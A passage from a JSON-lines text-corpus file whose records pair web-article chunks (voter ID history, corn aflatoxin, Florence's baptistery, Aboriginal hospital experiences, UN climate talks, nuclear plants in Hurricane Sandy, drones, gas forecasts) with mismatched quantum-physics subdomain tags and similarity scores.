associated press reporter jeffrey collins had an article in the tacoma news tribune on tuesday, january 17, 2012, mentioning about a throng of african - americans who surrounded the south carolina capitol to voice opposition to the state \u2019 s voter id laws, which was rejected by the u. s. justice department last month. what is at issue, critics say, is that the new law is \u201c discriminatory \u201d towards african - americans and poor whites ; and is especially meant to suppress the turnout and participation of blacks in the voting process, undermining the voting rights act of 1964 and 1966. in order to better determine if requiring a photo identification is \u201c unequal \u201d treatment and a violation of the u. s. constitution, therefore it is necessary to get a historical perspective about the evolution of the voting experience in america. when the constitution was written, only white male property owners ( about 10 to 16 percent of the nation ' s population ) had the vote. over the past two centuries, though, the term \" government by the people \" has become a reality. during the early 1800s, states gradually dropped property requirements for voting. later, groups that had been excluded previously gained the right to vote. other reforms made the process fairer and easier. poll taxes enacted in southern states between 1889 and 1910 had the effect of disenfranchising many blacks as well as poor whites, because payment of the tax was a prerequisite for voting. by the 1940s some of these taxes had been abolished, and in 1964 the 24th amendment to the u. s. constitution disallowed the poll tax as a prerequisite for voting in federal elections. in 1966 this prohibition was extended to all elections by the u. s. supreme court, which ruled that such a tax violated the \u201c equal protection \u201d clause of the 14th amendment to the constitution. 1790 only white male adult property - owners have the right to vote. 1810 last religious prerequisite for voting is eliminated. 1850 property ownership and tax requirements eliminated by 1850. almost all adult white males could vote. 1855 connecticut adopts the nation ' s first literacy test for voting. massachusetts follows suit in 1857. the tests were implemented to discriminate against irish - catholic immigrants. 1870 the 15th amendment is passed. it gives former slaves the right to vote and protects the voting rights of adult male citizens of any race. 1889 florida adopts a poll tax. ten other southern states will implement poll taxes. 1890 mississippi adopts a literacy test", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46993909012263163, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.920832"} {"text": "15th amendment is passed. it gives former slaves the right to vote and protects the voting rights of adult male citizens of any race. 1889 florida adopts a poll tax. ten other southern states will implement poll taxes. 1890 mississippi adopts a literacy test to keep african americans from voting. numerous other states \u2014 not just in the south \u2014 also establish literacy tests. however, the tests also exclude many whites from voting. to get around this, states add grandfather clauses that allow those who could vote before 1870, or their descendants, to vote regardless of literacy or tax qualifications. 1957 the first law to implement the 15th amendment, the civil rights act, is passed. the act set up the civil rights commission \u2014 among its duties is to investigate voter discrimination. 1964 the 24th amendment bans the poll tax as a requirement for voting in federal elections. 1965 the voting rights act protects the rights of minority voters and eliminates voting barriers such as the literacy test. the act is expanded and renewed in 1970, 1975, and 1982. 1966 the supreme court, in harper v. virginia board of elections, eliminates the poll tax as a qualification for voting in any election. a poll tax was still in use in alabama, mississippi, texas, and virginia. 1966 the court upholds the voting rights act in south carolina v. katzenbach. 1970 literacy requirements are banned for five years by the 1970 renewal of the voting rights act. at the time, eighteen states still have a literacy requirement in place. in oregon v. mitchell, the court upholds the ban on literacy tests, which is made permanent in 1975. judge hugo black, writing the court ' s opinion, cited the \" long history of the discriminatory use of literacy tests to disenfranchise voters on account of their race \" as the reason for their decision. 2003 federal voting standards and procedures act require states to streamline registration, voting, and other election procedures. read more : poll tax \u2014 infoplease. com http : / / www. infoplease. com / encyclopedia / poll + tax # ixzz1jluxv0rd read more : u. s. voting rights http : / / www. infoplease. com / timelines / voting. html # ixzz1jm6rkwx1 read more : u. s. voting rights http : / / www. infoplease. com / timelines / voting. html # ixzz1jm6rbqj1 the recurring word in the fifteenth amendment as well as twenty - fourth amendment", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4457617382762436, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.921816"} {"text": "more : u. s. voting rights http : / / www. infoplease. com / timelines / voting. html # ixzz1jm6rbqj1 the recurring word in the fifteenth amendment as well as twenty - fourth amendment is \u201c abridged, \u201d which has the meaning of to weaken or take away and it is yet to be proven that such a requirement is in any way to be construed as an attempt to disenfranchise any ethnic, religious or social class / group of their rights under the constitution. in fact, it could be argued that this procedure is in streamlining the voting process by discouraging fraud and proving the person \u2019 s citizenship and eligibility to vote ; which would seem to be the intended objective of the 2003 federal voting standards and procedures act. it seems reasonable to conclude that every legal and naturalized citizen of the united states, regardless of income, social status, level of education or any other consideration, ought to have on their person at all times [ if possible ] some kind of photo identification. to wit : any allegation to the contrary, no matter how passionate the argument, is without merit and should be rejected. as of this writing, kansas, mississippi, alabama, rhode island, tennessee and wisconsin passed voter id legislation in 2011. texas has pending legislation before the justice department and south carolina governor nikki haley vowed to fight the justice department in federal court over rejection of their voter identification laws. 776 commerce st. # b - 11 tacoma, wa 98402 january 17, 2012 read more articles by robert randle or search for articles on the same topic or others.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5267143942342983, "token_count": 332, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.922464"} {"text": "wooster, ohio \u2014 the ongoing drought afflicting much of ohio has created conditions that are ripe for the development of a fungal disease corn growers in the buckeye state typically don \u2019 t see \u2014 aspergillus ear rot. the concern is that drought - stressed corn is more susceptible to infection by aspergillus flavus, an ear rot fungus that produces a very potent group of carcinogenic ( cancer - causing ) toxins called aflatoxins. aflatoxins can be harmful for animals or humans if used in corn for grain and human food consumption, said ohio state university extension plant pathologist pierce paul. already, the disease has been spotted in some corn in indiana, which is experiencing severe and extreme drought over much of the state, so ohio growers should start looking for signs of it in their cornfields, paul said. growers can identify the disease by peeling back the husks and looking for a yellowish green or gray - green mold growing predominantly at the tip of the ear. this is largely because the fungus enters through the silk channel. infection is also associated with insect or bird damage, which typically occurs at the tip of the ear, paul said, so growers should look at ears in multiple locations throughout their fields, especially in areas that have insect or bird damage. \u201c normally, aflatoxin contamination of corn is not a major issue in ohio, but the dry conditions experienced across the state could lead to such a problem this year, \u201d paul said. \u201c this is something that we don \u2019 t want to get into the food chain, period. \u201d paul said the fungus can infect grain and produce aflatoxin under a wide range of conditions including temperatures between 54 and 108 degrees, kernel moisture between 15 and 25 percent, and relative humidity above 80 percent. but, he cautioned, growers shouldn \u2019 t assume that if they find aspergillus ear rot in their corn, that it means aflatoxin contamination is also present. \u201c there are no guarantees that moldy ears will be contaminated with aflatoxins, \u201d he said. \u201c and there is no guarantee that ears without visual signs of fungal infection will be free of aflatoxins, and that the amount of aspergillus ear rot will provide an accurate measure of the levels of aflatoxin contamination. \u201d the plant pathologist said the levels of ear rot development and toxin contamination depend on the strain of the fungus, with some members of the aspergillus flavus group being capable", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3966244754994244, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.925924"} {"text": "florence ' s battistero di san giovanni was built in the vii century, probably following the conversion of queen teodolinda to christianity. the building, which is octagonal and is faced with white and green marble ( the latter from prato ), was erected on the site of a sumptuous roman structure, possibly a domus, using a considerable quantity of marble from roman ruins. both the baptistery and santa reparata ( florence ' s cathedral ) were outside the carolingian walls, but were included within the matildine walls. the baptistery was soon surrounded by houses that pressed in upon it from all sides, and was only released from this siege in the xiv century. that square was expanded further, putting the baptistery at the centre of a geometric space, in the xv century. the baptistery proper reached its present form between the xi and xiii centuries, and the doors are extraordinary masterpieces. the southern door has bas - reliefs by andrea pisano. the northern door, also known as the porta della croce ( the door of the cross ) has lorenzo ghiberti ' s scenes from the life of christ. the eastern door, called la porta del paradiso ( the gates of paradise ) by michelangelo, has ghiberti ' s great masterpiece, scenes from the old testament. the guild that commissioned the work in 1425 told the artist to spare neither time nor expense, and left the choice of subject matter up to him. in working on the panels, ghiberti was assisted by his sons, and also by michelozzo and benozzo gozzoli. the inside of the baptistery has an octagonal cupola with byzantine mosaics ; the walls instead are faced with marble. the funerary monument to the antipope john xxiii is by donatello and michelangelo. for any information : battistero di san giovanni piazza duomo piazza s. giovanni ( 055 2302885 ). open noon - 7 pm ; sun 8. 30 am - 2p. m. admission : 3 euro.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4231325149021395, "token_count": 423, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.931086"} {"text": "interviewees described the importance of maintaining social and cultural connections while receiving care in hospital. the environment and process of health services, and responsiveness of staff to personal and cultural needs, particularly during difficult times, impacted significantly on patients and carers and their perceptions of care. the major themes are summarised in table 6. the importance of family family as companion, support and buffer. keeping connected with family at home. family members in the city - a vital connection. coping with diagnosis or illness coming to terms with an injury, diagnosis or treatment. the frustration of waiting for treatment and dealing with symptoms. death and dying cultural and personal aspects of preparation for surgery and treatment. importance of support when a patient dies. systemic racism, post - colonial realities racism and colonisation. stereotyping reinforces discomfort. repeatedly, aboriginal country patients and carers discussed the importance of family in their lives and at times of distress or ill health. many patients preferred to have ( and some relied on having ) family members with them in hospital for company, advocacy, emotional support and physical care. patients valued the emotional and practical support and comfort provided by family : it ' s important if anyone goes up for any treatment that they ' ve got support people around them because it makes a lot of difference... otherwise you ' re sitting there by yourself... thinking a bit more about it too, whereas if you ' ve got someone else, there ' s conversation ( p12 ). my daughter and husband was there so it didn ' t take me long to get better after that. a couple of weeks i was right, came home ( p6 ). for some older women it was important to have a female family member or carer with them when they were in single rooms because they never slept alone at home and there were always other women nearby. for those in adelaide for outpatient care, family provided vital after - hours physical care for applying treatments and mobility assistance : it was good to have my mum there helping out as well... putting the cream on... washing all my clothes everyday ( p12 ). i would rather have my daughter shower me than someone at the hostel ( p4 ). for one man, having his wife present helped him cope ( without retaliating ) with interactions with staff whom he found negative and racist : if my wife wasn ' t with me the day that dr... called me a drug addict i probably would have punched him and i ' m telling you now that ' s a fair dinku", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4826522954455616, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.942513"} {"text": "interactions with staff whom he found negative and racist : if my wife wasn ' t with me the day that dr... called me a drug addict i probably would have punched him and i ' m telling you now that ' s a fair dinkum fact... but she just put her hand on my lap because she knew the moment he said that, that i would have lost it ( p1 ). patients and carers stressed the importance of maintaining connection with family while they were in city hospitals. five patients indicated that the most important thing staff did to support them socially and culturally was to ensure that they had access to a telephone to call family : i think the most important thing is being able to keep in contact with family. to have a phone near the bed if you are on bed rest. if people are from the country and don ' t have family around, staff need to bring the phone in when family call. you do need contact with family ; a lot of us have no family in town, so it is all by phone ( c2 ). patients appreciated telephone contact with family even when they were extremely unwell : at that stage [ i was ] very ill and i didn ' t really need a lot of people coming around, trust me... they had a phone beside my bed and i could speak to people, which was good ( pc20 ). most patients were visited by extended family members ( nieces, nephews, in laws, siblings, grandchildren ) living in adelaide. two patients spoke of city family members visiting them while they were still in accident and emergency units : my brother and sister and her husband came in to see me in [ accident and emergency ]. my son must have rung them when i went in the ambulance. it was good to see them ( pc24 ). when city family members visited patients in the wards they provided vital ongoing company and support : my nieces in adelaide came to visit. family makes a lot of difference. if i was on my own i would be thinking, thinking. but when family and friends come and visit it is alright ( p4 ). the kids are \u2018 poppy, poppy ' and you could see it in his eyes, you know, it sort of brightened him up too ( c6 ). carers also identified the importance of extended family providing emotional and practical support for them while they were in adelaide or regional hospitals : my sister rang to see if i needed anything, i asked her to do shopping, i was in the hospital every day and", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4462930234918962, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.943524"} {"text": "carers also identified the importance of extended family providing emotional and practical support for them while they were in adelaide or regional hospitals : my sister rang to see if i needed anything, i asked her to do shopping, i was in the hospital every day and just needed more things than the local deli could supply. i could get milk and bread there, but needed more ( p & c30 ). many family members made extensive journeys to see patients in city hospitals. some could only stay for a few hours, or visit when finances were available : on pension day when they ' ve got money they come down ( p6 ). patients and carers spoke about the difficulty of coming to terms with an injury, illness or diagnosis. one patient recounted waking up in adelaide following a car accident and royal flying doctor service retrieval : i woke up and i was really frightened... the nurses were talking to one another and i can understand what they were saying to each other and i thought, i must have been hit by a car. and my family were ringing up from here and telling me too. gave me a shock... i am lucky to be alive ( p8 ). another woman discussed dealing with the complications of diabetes : this year i have been going down to adelaide a lot. i was really sick earlier, not wanting to bother with myself. i can ' t walk around and it was starting to get to me. i went down for test in adelaide, and they operated on both of my legs [ indicates amputated legs ], and i feel better now... i asked myself, why did this happen to me? i don ' t smoke, i don ' t drink alcohol. why? maybe it is the diabetes ( p4 ). another spoke of the long - term effects of having her teeth removed : i ' m a diabetic and i can ' t eat fruit and i can ' t have meat - so i just eat junk food because... it is soft and you don ' t have to chew. i think my weight ' s gone up again. my diabetes, my blood pressure - everything. and i ' m on sleeping tablets because i can ' t sleep because of the stress ( p9 ). one carer discussed the difficulty of her husband ' s cancer diagnosis and treatment regime for both her and her husband : yeah, that ' s been a very difficult time, obviously the cancer stuff is a big deal when you first find out about it and then this whole process of ongoing treatment is", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.43888407947295965, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.944421"} {"text": "husband ' s cancer diagnosis and treatment regime for both her and her husband : yeah, that ' s been a very difficult time, obviously the cancer stuff is a big deal when you first find out about it and then this whole process of ongoing treatment is quite difficult and time consuming ( pc20 ). another woman spoke of wanting to prepare her children for a poor diagnosis she was given : i try to tell them what the doctor says and get them to read the reports, what he wrote, but they don ' t want to listen... that ' s why i went and bought myself a funeral benefit ( pc21 ). patients living in remote areas spoke of getting frustrated with blindness or incapacity due to delayed surgery and treatment. others spoke of trying not to worry and to keep healthy and fit while waiting for a kidney transplant, of waiting to see if cancer treatments would be successful, and of dealing with chronic pain and disability : all i want youse to do is give me a needle in the base of my back so that it kills the pain in the base of my back so then i can stand up properly and i don ' t need to be walking around cramped up... like a bloody old man ( p1 ). the focus group members discussed an important cultural aspect of preparing for a major operation or treatment. they indicated that discussions with family are needed before undertaking treatment that might be dangerous - family can come together and \u2018 make sure the person is spiritually strong and pray for them ' ( fg ). this may mean that patients need to return to country after diagnosis and prior to consent to treatment. if the person cannot go home, family members need to visit them. two people spoke of their experiences of being carers for family members who died and the importance of staff support : they told us in the city hospital that there was nothing more they could do. we wanted to bring him home and they transferred him to the local hospital... i took him home for about three months with help from palliative nurses... they gave me a bed in the hospital in the room with him so in the last - you know, we ' d been together - 43 years we were ( c6 ). had to turn the machine off and that was hard, very hard. when i held her hand i just see this thing coming out of her body and it was white smoke, like a white light and it stopped up there for a minute and it just disappeared. then everybody started to cry and i went and put", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4644451830109619, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.946810"} {"text": "hard. when i held her hand i just see this thing coming out of her body and it was white smoke, like a white light and it stopped up there for a minute and it just disappeared. then everybody started to cry and i went and put my arms around them and calmed them down and wasn ' t even thinking about myself until i come home... she died in adelaide and i had to bring her home then. i was looking after everybody else and calming them down and whatever else and the day they buried her i went crazy, i think it all just came out then ( pc21 ). some years later this same person was called to the city to turn off her son ' s life support, and then her husband became ill. it was important for her that she and other family members were supported by hospital staff each time :... the staff were good. they give me a room, they let all my mob stay in one big room and they were good to talk to ( pc21 ). some patients and carers discussed how racism and colonisation impact on their lives generally and that even when they have good local relationships with the wider community, national issues may trigger racist or judgmental actions : that ' s the worst part, that ' s the annoying part, they treat you all the same... we always mixed in. but then you do get... all this land thing [ land rights ] came out and i was walking down the street and there was a car load - they went past me saying, \u2018 you ' re not bloody getting my land ', and i said, \u2018 what, i don ' t want your land '. they think, \u2018 oh, yeah, she ' s after that ' ( c6 ). one patient spoke of past colonising practices and negatives ways of being treated in institutions and how this has affected her family ' s attitudes to seeking health care : there were these boys... from the homes - they ' d say, \u2018 sir, i ' ve got a headache, can you give me something? ' and he said, \u2018 i ' ll be right with you '. he got the pain killer and he put it on the kid ' s head and put sticky tape on there and said you ' re right now, your heads will stop hurting now... it ' s just some of the things that we experience... and the young kids, they ' ve got a hate, a hate for non - indigenous people... there '", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45672681898772133, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.947834"} {"text": "right now, your heads will stop hurting now... it ' s just some of the things that we experience... and the young kids, they ' ve got a hate, a hate for non - indigenous people... there ' s a lot of things that went on with aboriginal people ( pc22 ). some patients experience discomfort due to the actions of non - indigenous staff and patients : yes, some staff are still racist, it ' s not across the board, there ' s just certain people - their attitudes ( p1 ). you can see that, like with the white patients, you know... they stare at us too many times but i ' ve been telling a couple of them white people \u2018 stop staring, we all the same colour - we all got the skin, we ' re not animals ' ( p5 ). but several patients were reluctant to label the behaviour of staff as racist. one person, when asked whether he / she thought bad treatment was race based, or if that particular staff member treated everyone the same way, replied : i really don ' t know. i have mixed feelings about it. this is a question that as an aboriginal person i find hard to define. it is often an immediate reaction, it is because of my aboriginality. i try not to make a point of reading racism into it. at other times it is obvious, and you know it is. no, it was not really clear. i think maybe they were not nice to others too ( pc23 ). some patients spoke of improvements in hospitals accommodating cultural needs and providing culturally safe environments : yeah, we ' re getting treated pretty good but it ' s just outside, you know ( p3 ). patients and carers stressed the importance of having family nearby, or in contact via telephone. family members provided patients and carers with much needed support - physical, economic, social, spiritual and emotional. country family members travelled long distances to maintain contact. some carers discussed extensive periods of time caring for family members, with past experiences influencing subsequent visits. they often made difficult decisions and encountered challenging times supporting family members during death and dying. patients and carers also spoke of the struggle to come to terms with an injury, diagnosis or treatment, and the impact this had on their lives and wellbeing. some patients felt that there is increased attention to ensuring cultural safety in hospitals, although stereotyping still leads to discomfort for patients and carers.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4753356584710945, "token_count": 503, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.948794"} {"text": "un climate talks : urgent progress still not in sight the un climate talks, ongoing now for 20 years, have made little progress in delivering concrete climate action and are now heading backwards. most recently they agreed 2015 as the date to launch a new treaty to deal with climate action which probably won \u2019 t come into force until 2020. and many governments look set to attend the talks in doha to promote a further weakening of the framework for global emissions reductions, while at home they continue to support the expansion of false solutions to the climate crisis. global emissions need to peak around 2015 if we are to have a decent chance of bringing emissions down to safe levels in time to prevent a further worsening of the earth ' s climate and avoid the unprecedented destruction, insecurity and suffering that catastrophic, irreversible climate change would cause. clifton, friends of the earth international climate justice \u201c from the carnage wrought by hurricane sandy to the devastating flooding in nigeria, the impacts of climate change are now evident for all to see, and alarmingly more frequent. carbon dioxide levels have reached a record high, setting us on track for a terrifying 6 degrees of warming. unfortunately developed countries, led by the united states, are accelerating the demolition of the world \u2019 s international framework for fair and urgent climate action. and most governments continue to support and advance the very policies that are driving the climate crisis, from dirty fossil fuel extraction of oil, gas and coal to carbon trading, agrofuels, large - scale industrial agriculture and \u2018 green desert \u2019 plantations. \u201d the us, australia, canada and japan continue to be the main players dragging their feet and undermining progress in the un talks. europe has pledged an emissions target which will allow its emissions to continue to grow, and continues to push for the expansion of carbon trading, a dangerous scam which only benefits corporations and financial elites. meanwhile these and other countries are supporting false solutions to the climate crisis and ignoring the voices of people resisting the imposition of destructive projects and the land grabs, displacement and environmental destruction that they cause. the power of vested interests and multinational corporations and their influence over government policies and un processes remains at the heart of the ongoing failure of the talks and their recent further unraveling. tackling their influence is essential to unlocking the deadlock, and will unleash multiple other positive impacts like releasing for public benefit the hundreds of billions of dollars in public subsidies to dirty fossil fuel corporations. asad rehman, climate campaigner for friends of the earth england, wales and northern ireland said :", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.42135882969195493, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.953603"} {"text": "and will unleash multiple other positive impacts like releasing for public benefit the hundreds of billions of dollars in public subsidies to dirty fossil fuel corporations. asad rehman, climate campaigner for friends of the earth england, wales and northern ireland said : \u201c friends of the earth international is urging governments attending doha to finally wake up to the reality of the climate crisis and make urgent progress on the foundations of fair and ambitious climate action : emissions cuts in line with science and equity ; adequate public finance to support climate action in the developing world ; progress on technology transfer ; and an end to carbon trading. all are needed to drive forward the transformation of our economies, deliver real sustainable energy and food alternatives, and tackle emissions while improving health and wellbeing for everyone. we are nearly out of time. without urgent progress governments will face a total loss of confidence in their ability to act in the interests of people and the environment. \u201d for more information : asad rehman, climate campaigner, friends of the earth england, wales and northern ireland ( in doha ) : + 44 7956 210332 sarah - jayne clifton, friends of the earth international climate justice coordinator : + 44 7912 406510 developed ( annex i ) countries are responsible for three quarters of historic emissions despite only hosting 15 % of the world\u00b4s population. because of their historical responsibility for climate change they have a moral and legal obligation under the climate convention to cut their emissions first and fastest and to provide adequate public finance for climate action by developing countries. last year at cop 17 in durban, south africa, instead of making progress on implementing the existing negotiating roadmap agreed in bali in 2007, parties agreed to launch a whole new round of negotiations on an agreement to cover climate action. the durban platform ( adp ) will commence negotiations in doha and is due to finish its work by 2015. there is a very high risk that the durban platform will delay action on emissions for another ten years, lock in low ambition, undermine the principles of equity and justice in the global climate framework, and further deregulate the framework, leading to a system even weaker and less effective than the kyoto protocol. at cop 18 in doha countries are supposed to be finalising the targets for developed country emission reductions under the kyoto protocol second commitment period ; making progress on climate finance and comparable emissions reductions targets for the us ( which is not party to the kyoto protocol ) ; and commencing negotiations on the durban platform. 400 global civil society organizations and social movements have denounced corporate capture as a root cause of failing environmental", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4540026613941662, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.954677"} {"text": "progress on climate finance and comparable emissions reductions targets for the us ( which is not party to the kyoto protocol ) ; and commencing negotiations on the durban platform. 400 global civil society organizations and social movements have denounced corporate capture as a root cause of failing environmental multilateral negotiations. clear demands were presented to the un earlier this year to help put an end to the excessive and harmful influence of corporations over processes like the un climate talks. so far the un did not issue a public response. friends of the earth international ' s report on the corporate capture of the un is available at : http : / / www. foei. org / en / resources / publications / pdfs / 2012 / reclaim - the - un - from - corporate - capture / view friends of the earth international is demanding : - urgent, binding and deep emissions cuts by developed countries in line with science and equity - provision by developed countries of adequate climate finance and technology transfer to developing countries for sustainable development and adaptation to climate impact - an end to carbon trading and - a top - down framework for future climate action which respects and reasserts the principles in the unfccc, including the principle of - common but differentiated responsibility ( cbdr ), and which includes binding emissions targets for developed countries and no new - efforts by all governments to drive forward the transformation of our unsustainable economies, protecting the rights and livelihoods of communities and delivering a safe climate and greater health and wellbeing", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45491492563327385, "token_count": 293, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.955263"} {"text": "james conca, contributor i cover the underlying drivers of energy, technology and society. as hurricane sandy made landfall in new jersey, the nuclear regulatory commission issued an alert about rising waters at the oyster creek nuclear plant ( the seattle pi ). alarmists may take it as reason to shut all nuclear power in america, but there \u2019 s no reason to worry about the safety of nuclear power in the face of natural disasters like this. just like the flooding last year, just like the earthquakes this year, it would be surprising if this storm causes real problems such as release of radioactivity. oyster creek was already in a previously scheduled shut down before the storm hit. the nuclear regulatory commission issued the alert, the second - lowest in a four - tiered warning system, when stormwater reached a high of almost 10 feet above sea level. nuclear power plant procedures require that the facilities shut down under certain severe weather conditions and sandy certainly qualified as severe ( businessinsider ). other plants shut later in the night as their local conditions became severe as well. conditions were still safe at and around oyster creek, a plant in lacey township, n. j., and at all other u. s. nuclear plants, said the nuclear regulatory commission. the plant \u2019 s owner, exelon corp., said power was also disrupted at nine mile point in the station \u2019 s switchyard, but backup diesel generators were providing stable power, with more than two weeks of fuel on hand. in preparation for the storm, all nuclear plants were more than fully staffed, for just such an event. hurricane sandy, the biggest atlantic ocean tropical storm on record, made landfall monday on the jersey coast with an effective zone extending several hundred miles from the center ( nuclear cafe ). devastation will result from this storm, and the effect on many people \u2019 s lives will be substantial. although those with real ideological issues against nuclear energy may have gotten bit excited, there is nothing so far to worry about with respect to the nuclear plants. there is no special issue or peculiar risk here for the nuclear plants in the path of hurricane sandy. these plants can handle a hurricane, just like earthquakes. this is nothing like fukushima, neither the power plant nor the situation. that \u2019 s not to say sandy is not a threat to many other systems like subways, natural gas plants and pipelines, dams, hospitals, the electric grid, and all sorts of things that could fail in a hurricane. it will leave millions without power and in dire straights ( six million as of midnight", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.461030203488126, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.960153"} {"text": "other systems like subways, natural gas plants and pipelines, dams, hospitals, the electric grid, and all sorts of things that could fail in a hurricane. it will leave millions without power and in dire straights ( six million as of midnight ). it has killed people. but the nuke thing has nothing to do with that. yet it is sure to get people on edge. the nuclear plants weathered this storm better than most any other infrastructure. i also suspect that the politicization of sandy and the nuke to ratchet up today, given how it started yesterday even before landfall. i truly respect amy goodman, but i wish she had asked a real nuclear expert to talk with her on democracy now! yesterday, not an anti - nuke activist like arnie gundersen who doesn \u2019 t really know the nuclear technical stuff, but only cares about politics. he threw in the usual key words like fukushima, spent fuel pools, outages, diesel, hydrogen explosions and the like, that have nothing to do with the issue but ratchet up the emotional response. he even mentioned climate change, which is strange as nuclear power has been the energy source that has emitted the least co2 into the atmosphere for all the electricity it \u2019 s produced, followed by hydro. and nuclear weathered the droughts and hot summer better than any other source, contrary to legend. the united states nuclear regulatory commission outlined the preparations being taken and how closely they are monitoring the storm ( nrc ) especially for calvert cliffs in md, salem, hope creek and oyster creek in nj ; peach bottom, three mile island and susquehanna in pa, indian point in ny, and millstone in ct ( nuclear cafe ). the nuclear energy institute ( nei ) has a good review of general hurricane preparedness that have been implemented at these plants. you can also track how nuclear energy plants are responding to hurricane sandy at nei news release.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4681645370500631, "token_count": 388, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.961062"} {"text": "1. the first armed drones were created to get osama bin laden. in 1998, u. s. president bill clinton ' s administration shut down an operation to kill the al qaeda leader in afghanistan with cruise missiles, given collateral damage estimates of 300 casualties and only 50 percent confidence in the intelligence. as the 9 / 11 commission noted, \" after this episode pentagon planners intensified efforts to find a more precise alternative. \" in 2000 and 2001, the u. s. air force struggled to reconfigure a hellfire anti - tank missile to fit onto a predator surveillance drone. meeting one week before the 9 / 11 attacks, the national security council agreed that the armed predator was not ready to be operationally deployed. the first known killing by armed drones occurred in november 2001, when a predator targeted mohammed atef, a top al qaeda military commander, in afghanistan. drones tend to crash. on dec. 4, an rq - 170 sentinel surveillance drone crashed in iran ; a u. s. official involved in the program blamed a lost data link and another unspecific malfunction. two weeks later, an unarmed reaper drone crashed at the end of a runway in the seychelles. \" this should not be a surprise, \" a defense official told aviation week & space technology, saying the united states had already lost more than 50 drones. as of july 2010, the air force had identified 79 drone accidents costing at least $ 1 million each. the primary reasons for the crashes : bad weather, loss or disruption of communications links, and \" human error factors, \" according to the air force. as lt. gen. david deptula, former air force deputy chief of staff for intelligence, has noted with refreshing honesty, \" some of the [ drones ] that we have today, you put in a high - threat environment, and they ' ll start falling from the sky like rain. \"", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4264932967164765, "token_count": 382, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.986050"} {"text": "u. s. gas production : can we trust the projections? government ( eia ) forecasts suffer in credibility when compared with geologic assessments. in recent years, many have promoted natural gas as the \" clean and safe \" alternative to coal or nuclear energy in electrical power generation. this emphasis on natural gas should focus attention on the long - term forecasts of u. s. production and consumption of natural gas, as published by the energy information administration ( eia ) in the annual energy outlook. in particular, what confidence should be placed in these projections? first, consider gas consumption. the eia predicts that u. s. natural gas consumption will increase by 62 percent from 1999 to 2020, while use of petroleum and coal will rise by 33 percent and 22 percent, respectively, over the same period. the predicted gas upsurge will occur primarily as a result of construction and operation of a large number of new base - load gas - fired electricity generation plants. second, consider gas production. the eia predicts u. s. natural gas production will increase by 56 percent from 1999 to 2020, while coal production will increase by 17 percent over the same period, and oil will decline by 2 percent by 2020. ( ) now compare those predictions with past experience. as shown in figure 1, u. s. marketed gas production reached a maximum of 22. 65 trillion cubic feet ( tcf ) per year in 1973 - a record that still stands after more than a quarter century of upheavals in gas markets. 1 this fact should provide a context for the eia forecast. falling productivity : a steady trend in justifying its forecast of natural gas production, eia argued that sustainable increases in domestic production would occur because the steady decline in drilling costs would lead to increased well completions, and that new, but unspecified, technology would boost well productivity. eia projected that annual gas well completions would increase from 10, 300 in 1999 to 23, 400 wells in 2020. eia ' s predicted well - head price for 2020 is $ 3. 13 per 